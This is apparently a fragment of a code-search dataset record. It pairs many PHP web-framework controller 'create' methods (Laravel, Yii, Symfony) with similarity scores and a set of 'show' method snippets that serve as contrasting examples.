$this->getUser()->hasPermission(['insert'], 'diseases');\n\n return view('diseases.create');\n }", "public function actionCreate()\n {\n $model = new Ddiet();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function actionCreate($idCursado)\n {\n $model = new Designado();\n $model_dpto = new Departamento();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['cursado/view', 'id' => $model->idCursado]);\n } else {\n return $this->render('create', [\n 'model_dpto' => $model_dpto,\n 'model' => $model,\n 'id_cursado' => $idCursado,\n ]);\n }\n }", "public function create(Request $request, Departament $departament)\n {\n\n $departament->create($request->all()); \n return DepartamentController::index();\n\n }", "public function create()\n {\n return view ('/crear_estudiante');\n }", "public function run()\n {\n Departamentos::create([\n 'departamento_descricao' => 'Geral'\n ]);\n }", "public function createAction()\n {\n $entity = new CarpetaEmprendimiento();\n $request = $this->getRequest();\n $form = $this->createForm(new CarpetaEmprendimientoType(), $entity);\n $form->bindRequest($request);\n\n if ($form->isValid()) {\n $em = $this->getDoctrine()->getEntityManager();\n $em->persist($entity);\n $em->flush();\n\n return $this->redirect($this->generateUrl('carpetaemprendimiento_show', array('id' => $entity->getId())));\n \n }\n\n return $this->render('IamSoftAndrethaBundle:CarpetaEmprendimiento:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView()\n ));\n }", "public function createEntity($data = array());", "public function newAction()\n {\n sleep(2);\n \n $entity = new Reserva();\n $dia = new ReservaDia();\n// $hora = new ReservaHora();\n// \n// $dia->getHoras()->add($hora);\n \n $entity->getDias()->add($dia);\n\n $form = $this->createCreateForm($entity);\n \n return $this->render('CosacoGesenBundle:Horario:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView()\n ));\n }", "public function actionCreate()\n {\n $model = new TbDadosmes();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function create()\n {\n //Valida se usuário possui permissão para acessar esta opção\n if(App\\Models\\User::getPermission('deposits_add',Auth::user()->user_type_code)){\n //Lista de departamentos disponiveis\n $departments = App\\Models\\Department::getDepartments();\n //Lista tipos de depositos\n $dep_types = App\\Models\\DepositType::getDepTypes();\n \n return view('locations.deposits.create')->with('departments', $departments)\n ->with('dep_types', $dep_types);\n\n }else{\n //Sem permissão\n Flash::error(Lang::get('validation.permission'));\n return redirect(route('deposits.index'));\n }\n }", "public function createAction(Request $request)\n {\n $entity = new DemandePermission();\n $em = $this->getDoctrine()->getManager();\n $dataform = $request->request->get('indra_adminbundle_demandepermission');\n $idEmploye = $dataform['employe'];\n $entityEmploye = $em->getRepository('IndraAdminBundle:Employe')->find($idEmploye);\n\n\n $form = $this->createCreateForm($entity);\n $form->handleRequest($request);\n\n if ($form->isValid()) {\n $entity->setUpdatedAt(new DateTime());\n $em->persist($entity);\n $em->flush();\n $this->operationUpdate($entity, 'CREATION');\n\n\n return $this->redirect($this->generateUrl('demandepermission_show', array('id' => $entityEmploye->getId())));\n }\n\n return array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'employe' => $entityEmploye,\n );\n }", "public function store(CreateDesechoRequest $request)\n {\n $input = $request->all();\n\n $desecho = $this->desechoRepository->create($input);\n\n Flash::success('Desecho\nguardado exitosamente.');\n\n return redirect(route('desechos.index'));\n }", "public function create()\n {\n return view('debtors.create');\n }", "public function newAction()\n {\n $entity = new DevisSetup();\n $form = $this->createCreateForm($entity);\n\n return array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n $pedido = new Pedido();\n\n return view('pedidos.create', compact('pedido'));\n }", "public function newAction()\n {\n $entity = new Departamento();\n $form = $this->createForm(new DepartamentoType(), $entity);\n\n return array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function newAction(Request $request)\n {\n $em = $this->getDoctrine()->getManager();\n $entsuebs = $em->getRepository('NomencladorBundle:NomEntidad')->getEntidadesTiposAcopioyUEB();\n $datParteDesvio = new DatParteDesvio();\n $form = $this->createForm('ParteDiarioBundle\\Form\\DatParteDesvioType', $datParteDesvio, array('valores' => $entsuebs));\n $form->handleRequest($request);\n\n if($form->isSubmitted()){\n if ($form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($datParteDesvio);\n $em->flush();\n\n if ($form->get('aceptar')->isClicked())\n return $this->redirectToRoute('partedesvio_index');\n else\n return $this->redirectToRoute('partedesvio_new');\n }\n }\n// $enviado = $request->request->get('enviado');\n// if (!empty($enviado)) {\n// $parte = $request->request->get('partediario');\n// $em = $this->getDoctrine()->getManager();\n// $pro = $em->getRepository('NomencladorBundle:NomProducto')->find($parte['producto']);\n// $um = $em->getRepository('NomencladorBundle:NomUnidadmedida')->find($parte['um']);\n// $ueb = $em->getRepository('NomencladorBundle:NomUeb')->find($parte['ueb']);\n// $datParteDesvio->setFecha(date_create_from_format('d/m/Y', $parte['fecha']));\n// $datParteDesvio->setCantidad($parte['cantidad']);\n// $datParteDesvio->setUm($um);\n// $datParteDesvio->setUeb($ueb);\n// $datParteDesvio->setProducto($pro);\n// $datParteDesvio->setDestino($parte['destino']);\n// $datParteDesvio->setTipo($parte['tipo']);\n// $em->persist($datParteDesvio);\n// $em->flush();\n// return new JsonResponse(\"0\");\n// }\n return $this->render('ParteDiarioBundle:datpartedesvio:new.html.twig', array(\n 'datParte' => $datParteDesvio,\n 'form' => $form->createView(),\n 'action' => 'Adicionar',\n ));\n }", "public function create()\n {\n //distribuidores\n $distribuidor = array('No Exclusivo', 'Exclusivo','Exterior');\n return view('adm.privada.descarga.create',compact('distribuidor'));\n }", "public function store(CreateFacturasRequest $request)\n {\n $input = $request->all(); \n $input ['id_nomi']=Auth::user()->id_nomi;\n $input ['fecha']=date('Y-m-d');\n $facturas = $this->facturasRepository->create($input);\n\n $Detalle = new FacturasDetalles;\n\n $Detalle ->id_fac=$facturas->id_fac; \n $Detalle ->id_prod=$input['descripcion'];\n $Detalle ->cantidad=$input['cantidad'];\n $Detalle ->descripcion=$input['descripcion'] ;\n $Detalle ->precio_unitario=$input['precio_unitario'] ;\n $Detalle ->destino=$input['destino'] ;\n\n $Detalle->save();\n\n\n Flash::success('Facturas saved successfully.');\n\n return redirect(route('facturas.edit',$facturas->id_fac));\n }", "public function create()\n {\n //\n }", "public function actionCreate()\n\t{\n\t\t$model=new DProcessoDisciplinar;\n\t\t$model->ServidorProcesso = Yii::app()->user->CDServidor;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['DProcessoDisciplinar']))\n\t\t{\n\t\t\t$model->attributes=$_POST['DProcessoDisciplinar'];\n\t\t\t\n\n\t\t\tif($model->DataOcorrencia != ''){\n\t\t\t\t$Data = $model->DataOcorrencia;\n\t\t\t\t$ar = explode('/', $Data);\n\t\t\t\t$model->DataOcorrencia = $ar[2].'-'.$ar[1].'-'.$ar[0];\n\t\t\t}\n\n\t\t\tif($model->save()){\n\t\t\t\t$this->EnviaEmail($model,1);\n\t\t\t\t$this->redirect(array('admin','success'=>true));\n\t\t\t}\n\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "public function actionCreateDatos($id) {\n $traza = Traza::VerificarTraza($id); // verifica el guardado de la traza\n if ($traza != 2) {\n Generico::renderTraza($id); //renderiza a la traza\n }\n\n $model = Beneficiario::model()->findByPk($id);\n $estado = new Tblestado;\n $municipio = new Tblmunicipio;\n $parroquia = new Tblparroquia;\n $faovPromedio = ConsultaOracle::getFaov($id, 1); //consulta la funcion faov por id de persona, para mostrar el calculo de promedio\n $faovMensual = ConsultaOracle::getFaov($id, 2); //consulta la funcion faov por id de persona, para mostrar el calculo de ingreso mesual\n $model->ingreso_mensual = ($faovMensual) ? $faovMensual : '0.00';\n $model->ingreso_promedio_faov = ($faovPromedio) ? $faovPromedio : '0.00';\n\n// $consulta = UnidadFamiliar::model()->findByAttributes(array('beneficiario_id' => $id)); // consulta a Unidad Familiar por el id_beneficiario \n//\n// $sqlIngreso = \"select sum(ingreso_mensual) as ingreso from grupo_familiar where unidad_familiar_id=\".$consulta->id_unidad_familiar.\"\"; //consulta que suma cuanto es el ingreso de grupo familiar por id_beneficiario\n// $rowingreso = Yii::app()->db->createCommand($sqlIngreso)->queryRow();\n//// echo '<pre>'; var_dump($rowingreso); die(); \n// $consulta->ingreso_total_familiar=$rowingreso['ingreso']; //insert para unidad familiar ingreso_total_familiar\n// \n// $sqlFaov = \"select count(*) as faov from grupo_familiar where unidad_familiar_id=\".$consulta->id_unidad_familiar.\"\"; //consulta que suma cuantos cotizan en faov del grupo familiar por id_beneficiario\n// $rowFaov = Yii::app()->db->createCommand($sqlFaov)->queryRow();\n// \n// $consulta->total_personas_cotizando=$rowFaov['faov']; //insert para unidad familiar total de personas cotizando\n\n\n if (isset($_POST['Beneficiario']['parroquia_id'])) {\n $model->cedula = 'campo';\n $model->attributes = $_POST['Beneficiario'];\n $model->parroquia_id = $_POST['Beneficiario']['parroquia_id'];\n $model->urban_barrio = $_POST['Beneficiario']['urban_barrio'];\n $model->av_call_esq_carr = $_POST['Beneficiario']['av_call_esq_carr'];\n $model->zona = $_POST['Beneficiario']['zona'];\n $model->condicion_trabajo_id = $_POST['Beneficiario']['condicion_trabajo_id'];\n $model->fuente_ingreso_id = $_POST['Beneficiario']['fuente_ingreso_id'];\n $model->condicion_laboral = $_POST['Beneficiario']['condicion_laboral'];\n $model->sector_trabajo_id = $_POST['Beneficiario']['sector_trabajo_id'];\n $model->nombre_empresa = $_POST['Beneficiario']['nombre_empresa'];\n $model->direccion_empresa = $_POST['Beneficiario']['direccion_empresa'];\n $model->telefono_trabajo = $_POST['Beneficiario']['telefono_trabajo'];\n $model->gen_cargo_id = $_POST['Beneficiario']['gen_cargo_id'];\n $model->observacion = $_POST['Beneficiario']['observacion'];\n $model->estatus_beneficiario_id = 222;\n $model->usuario_id_actualizacion = Yii::app()->user->id;\n\n\n if ($model->save()) {\n\n $IdBeneficiarioTmp = $model->beneficiario_temporal_id;\n $n = BeneficiarioTemporal::model()->updateByPk($IdBeneficiarioTmp, array(\n 'estatus' => 79,\n 'usuario_id_actualizacion' => Yii::app()->user->id,\n 'fecha_actualizacion' => 'now()'\n ));\n\n $idtraza = Traza::ObtenerIdTraza($model->id_beneficiario); // pemite la busqueda de la id de la traza \n $delete = Traza::model()->findByPk($idtraza)->delete();\n\n $this->redirect(array('admin'));\n Yii::app()->end();\n }\n }\n\n $this->render('createDatos', array(\n 'model' => $model, 'municipio' => $municipio, 'estado' => $estado, 'parroquia' => $parroquia,\n ));\n }", "public function create()\n {\n //\n return view('empleados.create');\n }", "public function create()\n {\n // I skip using this create function because I use a modal form for inserting data using modal in index view via index function.\n }", "public function create()\n {\n return view('estacionamiento.create');\n }", "public function create(){}", "public function create()\n {\n \n //\n }", "public function create()\n {\n return view('admin.sedes.create');\n }", "public function create($id)\n\t{\n\t\treturn view('departamento.create', ['ID_ESTACION' => $id]);\n\t}", "public function create()\n {\n $deptos = Departamento::all()->pluck('nombre', 'id');\n return view('academico.docente.create')\n ->with('location', 'academico')\n ->with('deptos', $deptos);\n }", "public function create()\n\t{\n\t\t//\n\t\tdd('Day la trang create');\n\t}", "public function create()\n {\n }", "public function create()\n {\n }", "public function createAction()\n {\n $type = $this->params('type');\n $instance = $this->getInstanceManager()->getInstanceFromRequest();\n $query = $this->params()->fromQuery();\n $entity = $this->getEntityManager()->createEntity(\n $type,\n $query,\n $instance\n );\n $this->getEntityManager()->flush();\n\n $data = ['entity' => $entity, 'data' => $query];\n $response = $this->getEventManager()->trigger('create.postFlush', $this, $data);\n return $this->checkResponse($response);\n }", "public function createAction()\n \t{\n\t\t\tif (false === $this->get('security.context')->isGranted('ROLE_CREATE')) {\n \t\tthrow new AccessDeniedException();\n \t\t}\n \t$entity = new PamSemestre();\n \t$request = $this->getRequest();\n \t$form = $this->createForm(new PamSemestreType(), $entity);\n \t$form->bindRequest($request);\n \tif ($form->isValid()) {\n \t$em = $this->getDoctrine()->getEntityManager();\n \t$em->persist($entity);\n \t$em->flush();\n \treturn $this->redirect($this->generateUrl('mycompany_myproject_appbundle_pam_semestre_show', array('id' => $entity->getId()))); \n \t}\n \treturn array(\n \t'entity' => $entity,\n \t'form' => $form->createView()\n \t\t);\n \t}", "public function create() {\n // Insert the client in the db\n $db = new Database('cliente');\n $this->id = $db->insert([\n 'name' => $this->name,\n 'address' => $this->address,\n 'zip' => $this->zip,\n 'phone' => $this->phone,\n 'mPhone' => $this->mPhone,\n 'email' => $this->email,\n 'gender' => $this->gender,\n 'obs' => $this->obs,\n ]);\n\n // Return success\n return true;\n }", "public function create()\n {\n return view('layouts.departement.add');\n }", "public function createAction()\n {\n $entity = new Titeur();\n $request = $this->getRequest();\n\t\t\t\t$user = $this->get('security.context')->getToken()->getUser();\n $form = $this->createForm(new TiteurType(), $entity, array('user' => $user));\n $form->bindRequest($request);\n\n if ($form->isValid()) {\n $em = $this->getDoctrine()->getEntityManager();\n $em->persist($entity);\n $em->flush();\n\n\t\t\t\t\t\t$this->get('session')->set('titeur_id', $entity->getId());\n\t\t\t\t\t\t$this->get('session')->setFlash('notice', 'Titeur a été ajouté avec succès');\n\n return $this->redirect($this->generateUrl('enfant_new'));\n \n }\n\n return array(\n 'entity' => $entity,\n 'form' => $form->createView()\n );\n }", "public function create()\n {\n return view('defensa.create');\n }", "public function create()\n {\n $ciudad=DB::table('ciudades')\n ->select('cod_ciudad','nombre_ciudad','cod_departamento')\n ->orderBy('nombre_ciudad','asc')\n ->first();\n $departamentos=DB::table('departamentos')\n ->select('cod_departamento','nombre_departamento','cod_pais')\n ->orderBy('nombre_departamento','asc')\n ->get();\n $paises=DB::table('paises')\n ->select('nombre_pais','cod_pais')\n ->orderBy('nombre_pais','asc')\n ->get();\n return view('experiencia.create',[\"departamentos\"=>$departamentos,\"paises\"=>$paises,\"ciudad\"=>$ciudad]);\n }", "public function createDebt(array $details): Debt\n {\n return $this->debts()->create($details);\n }", "public function create()\n {\n return view('medicamento.create');\n\n }", "public function create()\n {\n //recupération des données en post\n $data = $this->request->data;\n\n //librerie de validation des champs\n $this->loadLibrary('checker');\n $this->checker->useInputField(true, $data);\n\n //vérification des champs necessaires pour la création de l'unité d'enseignement \n if(true !== $this->checker->inField('id_matiere','id_tranche','id_classe','id_utilisateur', 'date_jour')) {\n $this->_return('Veuillez remplir tous les champs du formulaire prefixés de * ', false);\n }\n\n try {\n\n if (true !== $this->model->exist('id_utilisateur', (int)$data['id_utilisateur'], 'Utilisateurs')) {\n $this->_return('l\\'utilisateur spécifié n\\existe pas. ', false);\n }\n if (true !== $this->model->exist('id_utilisateur', (int)$data['id_utilisateur'], 'Professeurs')) {\n $this->_return('l\\'utilisateur spécifié n\\'est pas un professeur', false);\n }\n if (true !== $this->model->exist('id_classe', (int)$data['id_classe'], 'Classes')) {\n $this->_return('la classe spécifiée n\\existe pas. ', false);\n }\n if (true !== $this->model->exist('id_matiere', (int)$data['id_matiere'], 'Matieres')) {\n $this->_return('la matière spécifiée n\\existe pas. ', false);\n }\n if (true !== $this->model->exist('id_tranche', (int)$data['id_tranche'], 'Tranches_horaires')) {\n $this->_return('la tranche horaire spécifiée n\\existe pas. ', false);\n }\n\n //conversion des données reçu par post\n $planing['id_matiere'] = (int)$data['id_matiere'];\n $planing['id_tranche'] = (int)$data['id_tranche'];\n $planing['id_classe'] = (int)$data['id_classe'];\n $planing['id_utilisateur'] = (int)$data['id_utilisateur'];\n $planing['date_jour'] = (string)$data['date_jour'];\n $planing['statut_existant'] = 1; \n \n if(true === $this->model->exist_classe_tranche($planing['id_classe'], $planing['id_tranche'], $planing['date_jour']))\n {\n $this->_return('cette classe a déja un cours programmer à cette heure', false);\n }\n\n if(true === $this->model->exist_professeurs_tranche($planing['id_utilisateur'], $planing['id_tranche'], $planing['date_jour']))\n {\n $this->_return('ce professeur a déja été programmer a cette heure dans une autre salle de classe', false);\n }\n\n //Aucune des informations n'existe deja en base de donnée\n $this->model->create($planing);\n $this->_return('Cours programmé avec succès!!',true);\n \n //code...\n } catch (Exception $e) {\n $this->_exception($e);\n }\n }", "public function create(){\n\t\treturn view('driver.expense.create');\n }", "public function create()\r\n {\r\n // Deberá escogerse una sede como lugar del evento.\r\n return view('events/create')\r\n ->with('sedes', Sede::all());\r\n }" ]
[ "0.67984146", "0.6759625", "0.6311029", "0.62428075", "0.6185598", "0.61448264", "0.6090721", "0.60539645", "0.6053768", "0.60500264", "0.603056", "0.6004902", "0.59658235", "0.5962309", "0.59301597", "0.5925919", "0.59220874", "0.59213924", "0.5921313", "0.5915", "0.59109885", "0.59016114", "0.58869827", "0.58820164", "0.58783305", "0.58754766", "0.58582646", "0.5858026", "0.58484644", "0.58357865", "0.58343637", "0.58293784", "0.5824785", "0.5816321", "0.58129483", "0.57984865", "0.57981473", "0.5779127", "0.57712257", "0.57614434", "0.5754764", "0.57429516", "0.5738305", "0.5729593", "0.5725695", "0.57141715", "0.57141715", "0.5708512", "0.5700804", "0.5693895", "0.5693895", "0.5693895", "0.5693895", "0.56901383", "0.5687951", "0.5687289", "0.56856596", "0.5684267", "0.56813145", "0.565727", "0.5656093", "0.565179", "0.564997", "0.56455934", "0.56436026", "0.5642269", "0.5638177", "0.5637765", "0.5635995", "0.5635084", "0.56340134", "0.5630253", "0.56269157", "0.5623803", "0.5623394", "0.5619693", "0.5616055", "0.5615055", "0.56113815", "0.56043", "0.560277", "0.56016386", "0.56015474", "0.56006885", "0.5597818", "0.5597119", "0.55966234", "0.55966234", "0.5592727", "0.5590481", "0.55808675", "0.5580263", "0.55774987", "0.55761963", "0.55755466", "0.55725884", "0.5568989", "0.55657315", "0.55655366", "0.5564714" ]
0.60533893
9
Finds and displays a Demandados entity.
public function showAction(Demandados $demandado) { $deleteForm = $this->createDeleteForm($demandado); return $this->render('demandados/show.html.twig', array( 'demandado' => $demandado, 'delete_form' => $deleteForm->createView(), )); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Depense $depense)\n {\n //\n }", "public function show(Departamento $departamento)\n {\n //\n }", "public function show(Departamento $departamento)\n {\n //\n }", "public function show(Cidade $cidade)\n {\n //\n }", "public function show(Estudante $estudante)\n {\n //\n }", "public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CorresponsaliaBundle:Estadofondo')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Estadofondo entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CorresponsaliaBundle:Estadofondo:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(), ));\n }", "public function show(Detalhes $detalhes)\n {\n //\n }", "public function showAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $actualite = $em->getRepository('MyAppEspritBundle:Actualite')->findAll();\n\n return $this->render('MyAppEspritBundle:Actualite:show.html.twig', array(\n 'actualite' => $actualite,\n ));\n }", "public function showAction($id) {\n\n $user = $this->getUser();\n if (!$user) {\n return $this->render('AeagDieBundle:Default:interdit.html.twig');\n }\n $session = $this->get('session');\n $session->set('menu', 'Admin');\n $session->set('controller', 'Demande');\n $session->set('fonction', 'show');\n $em = $this->get('doctrine')->getManager('die');\n\n $entity = $em->getRepository('AeagDieBundle:Demande')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Demande entity.');\n }\n\n return $this->render('AeagDieBundle:Demande:show.html.twig', array(\n 'entity' => $entity,\n ));\n }", "public function show(Dependencia $dependencia)\n {\n //\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $demandados = $em->getRepository('BufeteBundle:Demandados')->findAll();\n\n return $this->render('demandados/index.html.twig', array(\n 'demandados' => $demandados,\n ));\n }", "public function show(Conferencia $conferencia)\n {\n //\n }", "public function show(Estados $estados)\n {\n \n }", "public function show(Debt $debt)\n {\n //\n }", "public function show(Pedido $pedido)\n {\n //\n }", "public function show(Pedido $pedido)\n {\n //\n }", "public function show(Pedido $pedido)\n {\n //\n }", "public function show(Pedido $pedido)\n {\n //\n }", "public function show(Pedido $pedido)\n {\n //\n }", "public function show(Detallepagos $detallepagos)\n {\n //\n }", "public function show(Medicamento $medicamento)\n {\n //\n }", "public function showAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CabinetMedicalBundle:actualite')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find actualite entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CabinetMedicalBundle:actualite:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),));\n }", "public function showAction($id) {\n \n \n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('InfogoldAccountBundle:Dzialy')->find($id);\n\n $User = $this->get('my.main.admin')->getMainAdmin();\n $userId = $User->getNrklienta();\n // $em = $this->getDoctrine()->getManager();\n $req = $em->getRepository('InfogoldKonsultantBundle:Konsultant');\n $qb = $req->createQueryBuilder('p');\n $query = $qb\n ->leftJoin('p.firma', 'c')\n ->where('p.KonsultantDzialy=' . $id) \n ->where('c.Nrklienta=' . $userId)\n ->getQuery();\n\n $konsultanci = $query->getResult();\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Dzialy entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('InfogoldAccountBundle:Dzialy:show.html.twig', array(\n 'konsuktanci' => $konsultanci,\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show($consulta)\n {\n //\n }", "public function show(Estudiante $estudiante)\n {\n\n }", "public function show(DemandeHebergement $demandeHebergement)\n {\n //\n }", "public function show(Contratos $contratos)\n {\n //\n }", "public function show(Docente $docente)\n {\n //\n }", "public function show(Fornecedores $fornecedores)\n {\n //\n }", "public function show(Medicament $medicament)\n {\n //\n }", "public function show(Estudiante $estudiante)\n {\n //\n }", "public function show($id_pedido_fact)\n {\n //\n }", "public function showAction()\n {\n $department = $this->getUser()->getDepartment();\n\n return $this->showByDepartmentAction($department);\n }", "public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('EcomBundle:PromoCmdes')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find PromoCmdes entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('AdBundle:Administration:PromoCmdes/layout/show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function detalhe ()\n {\n try {\n // Define a ação de detalhe\n $acao = Orcamento_Business_Dados::ACTION_DETALHE;\n \n // Retorna parâmetros informados via get, após validações\n $parametros = $this->trataParametroGet ( 'cod' );\n \n // Busca os dados a exibir, após validações\n $registro = $this->trataRegistro ( $acao, $parametros );\n \n // Exibe o registro retornado\n $this->view->dados = $registro;\n } catch ( Exception $e ) {\n // Gera o erro\n throw new Zend_Exception ( $e->getMessage () );\n }\n }", "public function show(Entrenador $entrenador)\n {\n //\n }", "public function show(Produto $produto)\n {\n //\n }", "public function show(Candidatos $candidatos)\n {\n //\n }", "public function showDeatails() {\n $id = $this->input->get('id');\n $data['details'] = $this->common->getWhere('dormitory_bed', 'id', $id);\n $this->load->view('temp/header');\n $this->load->view('dormitoriesDetails', $data);\n $this->load->view('temp/footer');\n }", "public function show(Empleados $empleados)\n {\n //\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $deplacements = $em->getRepository('BackOfficeBundle:Deplacement')->findAll();\n\n return $this->render('BackOfficeBundle:Deplacement:index.html.twig', array(\n 'deplacements' => $deplacements,\n ));\n }", "public function show(Debito $debito)\n {\n return $debito;\n }", "public function indexDiariaAction()\r\n {\r\n $em = $this->getDoctrine()->getManager();\r\n $entity = new Consulta();\r\n $this->tipo=2;\r\n $form = $this->createCreateForm($entity,$this->tipo,0);\r\n //$entities = $em->getRepository('DGPlusbelleBundle:Consulta')->findAll();\r\n $dql = \"SELECT c FROM DGPlusbelleBundle:Consulta c WHERE c.tipoConsulta= :tipo\";\r\n $entities = $em->createQuery($dql)\r\n ->setParameter('tipo',1)\r\n ->getResult();\r\n //var_dump($entities);\r\n return array(\r\n 'entities' => $entities,\r\n 'entity' => $entity,\r\n 'form' => $form->createView(),\r\n 'tipo' => 2,\r\n );\r\n }", "public function show()\n {\n //\n $departement=Departement::where('id','!=','1')->where('id','!=','5')->get();\n \n\n $data =[\n\n 'title'=>$description='Lister les Départements',\n 'description'=>$description,\n 'departement'=>$departement,\n \n ];\n return view('departement.show',$data);\n }", "public function show(DuracionResultado $duracionResultado)\n {\n //\n }", "public function show(Comentario $comentario)\n {\n //\n }", "public function show(Comentario $comentario)\n {\n //\n }", "public function show(Empresa $empresa)\n {\n //\n }", "public function show(DistrictReport $districtReport, Expense $expense)\n {\n //\n }", "public function showAction($id)\n {\n \n $em = $this->getDoctrine()->getManager();\n \n $entity = $em->getRepository('CineminoSiteBundle:Seance')->find($id);\n \n $user = $this->container->get('security.context')->getToken()->getUser();\n \n if($this->get('security.context')->isGranted('ROLE_SUPER_ADMIN')){ \n $cinemas = $em->getRepository('CineminoSiteBundle:Cinema')->findAll();}\n else{\n $cinemas = $em->getRepository('CineminoSiteBundle:Cinema')->findByidCompte($user->getId());}\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Seance entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CineminoSiteBundle:Seance:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(), \n 'cinemas' => $cinemas \n ));\n \n }", "public function show(DatosActualizados $datosActualizados)\n {\n //\n }", "public function show(Mascota $mascota)\n {\n //\n }", "public function show(SalleDemandeSalle $salleDemandeSalle)\n {\n //\n }", "public function showAction($id)\r\n {\r\n $em = $this->getDoctrine()->getManager();\r\n $useractuel= $this->container->get('security.context')->getToken()->getUser();\r\n $recoms = $em->getRepository('UtilisateurBundle:Recommandation')->ByRecom($id);\r\n $entity = $em->getRepository('UtilisateurBundle:Utilisateur')->find($id);\r\n $entities = $em->getRepository('UtilisateurBundle:Portfolio')->ByPortfolio($id);\r\n $educations = $em->getRepository('UtilisateurBundle:Education')->ByEducation($id);\r\n $emplois = $em->getRepository('UtilisateurBundle:Emploi')->byEmploi($id);\r\n $plaisirs = $em->getRepository('UtilisateurBundle:Plaisir')->byPlaisir($id);\r\n $certifs = $em->getRepository('UtilisateurBundle:Certificat')->byCertif($id);\r\n $langs = $em->getRepository('UtilisateurBundle:Langue')->bylangue($id);\r\n $projets = $em->getRepository('VworkitBundle:Projet')->byUser($id);\r\n $recoms = $em->getRepository('UtilisateurBundle:Recommandation')->ByRecom($id);\r\n if (!$entity ) {\r\n throw $this->createNotFoundException('Unable to find Utilisateur entity.');\r\n }\r\n\r\n $deleteForm = $this->createDeleteForm($id);\r\n $visite = new Visite();\r\n $visite->setDatevisite(new \\DateTime());\r\n $visite->setFrom($useractuel);\r\n $visite->setTo($entity);\r\n $em->persist($visite);\r\n $em->flush();\r\n return $this->render('UtilisateurBundle:Utilisateur:show.html.twig', array(\r\n 'entity' => $entity,\r\n 'entities'=>$entities,\r\n 'educations'=>$educations,\r\n 'emplois'=>$emplois,\r\n 'plaisirs'=>$plaisirs,\r\n 'certifs'=>$certifs,\r\n 'langs'=>$langs,\r\n 'projets'=>$projets,\r\n 'recoms'=>$recoms,\r\n 'delete_form' => $deleteForm->createView(),\r\n ));\r\n }", "public function show($id)\n {\n return view('consultas::show');\n }", "public function obtienedatosdestinoAction()\n {\n $this->disableAutoRender();\n\n /* Recibo parámetros */\n $dependencia_iddestino = $this->_getParam('dependencia_iddestino');\n\n $modelDependencia = new Gidoc_Model_DependenciaMapper(); \n \n $objDependencia = $modelDependencia->getById($dependencia_iddestino);\n \n echo $objDependencia->nombre.'|'.$objDependencia->cargo;\n \n }", "public function show(EstabelecimentoSaude $estabelecimentoSaude)\n {\n //\n }", "public function show(Pendaftaran $pendaftaran)\n {\n //\n }", "public function indexAction() {\n\n $user = $this->getUser();\n if (!$user) {\n return $this->render('AeagDieBundle:Default:interdit.html.twig');\n }\n $session = $this->get('session');\n $session->set('menu', 'Admin');\n $session->set('controller', 'Demande');\n $session->set('fonction', 'index');\n $em = $this->get('doctrine')->getManager('die');\n\n $repoDemande = $em->getRepository('AeagDieBundle:Demande');\n\n $entities = $repoDemande->getDemandes();\n\n return $this->render('AeagDieBundle:Demande:index.html.twig', array(\n 'entities' => $entities\n ));\n }", "public function show(empresa $empresa)\n {\n //\n }", "public function show(Mandat $mandat)\n {\n //\n }", "public function show(Comida $comida)\n {\n //\n }", "public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('QQiRecordappBundle:Pensum')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Pensum entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('QQiRecordappBundle:Pensum:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(), ));\n }", "public function show(Estudiantes $estudiantes)\n {\n //\n }", "public function showAction() {\n\t\t$contentObject = $this->configurationManager->getContentObject()->data;\n\t\t$config = $this->configurationManager->getConfiguration(Tx_Extbase_Configuration_ConfigurationManagerInterface::CONFIGURATION_TYPE_FRAMEWORK);\n\n\t\t/** @var 